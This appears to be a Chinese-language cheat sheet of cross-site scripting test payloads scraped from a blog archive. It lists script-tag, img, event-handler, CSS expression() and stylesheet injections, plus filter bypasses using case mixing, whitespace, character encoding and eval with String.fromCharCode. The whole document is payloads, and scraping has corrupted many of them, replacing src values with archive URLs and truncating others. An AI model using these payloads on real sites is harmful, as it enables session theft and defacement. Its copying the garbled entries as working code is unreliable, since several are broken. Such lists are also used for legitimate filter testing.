xss测试代码
1.标准的xss漏洞测试代码
<script>alert('xss')</script>
2.img图片标记属性跨站攻击代码
<img src="javascript:alert(/xss/)" rel="nofollow"/>
<img dynsrc="javascript:alert(" rel="nofollow"/>
3.无需"<>",利用html标记事件属性跨站
(1)利用已知事件
<img src="https://archive.cnblogs.com/a/2772579/"" rel="nofollow"/>
<marquee style="background-color:red" onstart=alert('xss')">文字</marquee>
<div style="background-color:red" onmouseenter="alert('monyer')">123456</div>
<div style="background-color:red" onmouseleave="alert('monyer')">123456</div>
2.构造事件进行攻击
<img src="https://archive.cnblogs.com/a/2772579/#" rel="nofollow"/>
<div src="https://archive.cnblogs.com/a/2772579/#" rel="nofollow"/>
<font style="Xss:expression(alert(/xss/));">
<li style="Xss:expression(alert(/xss/));">
<table style="Xss:expression(alert(/xss/));">
<a style="Xss:expression(alert(/xss/));">
<b style="Xss:expression(alert(/xss/));">
<ul style="Xss:expression(alert(/xss/));">
<marquee style="Xss:expression(alert(/xss/));">
<style>input { left:expression(alert('xss'))} </style>
<div style="{ left:expression(alert('xss'))}">
<div style="{ left:exp/* */ression(alert('xss'))}">
<div style="{ left:\0065\0078pression alert('xss'))}">
<div style="{ left:expression(alert('xss'))}">
<div style="{ left:xpression(alert('xss'))}">
<div style="{ left:expRessioN(alert('xss'))}">
3.外接样式表漏洞跨站
<link rel="stylesheet" type="text/css" href="https://archive.cnblogs.com/a/2772579/www.test.com/test.css" target="_blank" rel="nofollow">
@import "https://www.test.com/test.css";
样式表css中的内容为 body{background-image:url(javascript:alert('xss'))}
4.利用insertAdjacentHTML方法
<b style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="https://www.baidu.com/></iframe>" rel="nofollow"/>
<a style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="https://www.baidu.com/></iframe>" rel="nofollow"/>
<table style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="https://www.baidu.com/></iframe>" rel="nofollow"/>
<li style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="https://www.baidu.com/></iframe>" rel="nofollow"/>
<font style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src="https://www.baidu.com/></iframe>" rel="nofollow"/>
5.用javascript换行与空格突破过滤
<img src="https://archive.cnblogs.com/a/2772579/j " rel="nofollow"/>用tab键产生的空格
<img src="https://archive.cnblogs.com/a/2772579/j " rel="nofollow"/>scri
pt:al er t('xss')">
<img src="https://archive.cnblogs.com/a/2772579/#" rel="nofollow"/>
6.转代码,绕过滤
(1).大小写转换
<img src="javascript:alert(/xss/)" rel="nofollow"/><ScRipT>alert('xss')</SCrIPt>
(2)进制编码转换(啊D编码工具转换)
<img src="javascript:alert(" rel="nofollow"/>

进制转换
<img src="https://archive.cnblogs.com/a/2772579/Javascript:alert('xss')" rel="nofollow"/>
&#;10进制转换
<img src="https://archive.cnblogs.com/a/2772579/Javascript:alert('xss') " rel="nofollow"/>
(3)空格与回车符转换
<img src="https://archive.cnblogs.com/a/2772579/Jav	ascript:alert(" rel="nofollow"/><img src="https://archive.cnblogs.com/a/2772579/Jav
ascript:alert(" rel="nofollow"/><img src="https://archive.cnblogs.com/a/2772579/Jav
ascript:alert(" rel="nofollow"/>
	是空格 
和
是回车
7.JS还原函数法
<img src="javascript:alert(" rel="nofollow"/>转换为
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))" rel="nofollow"/>
评论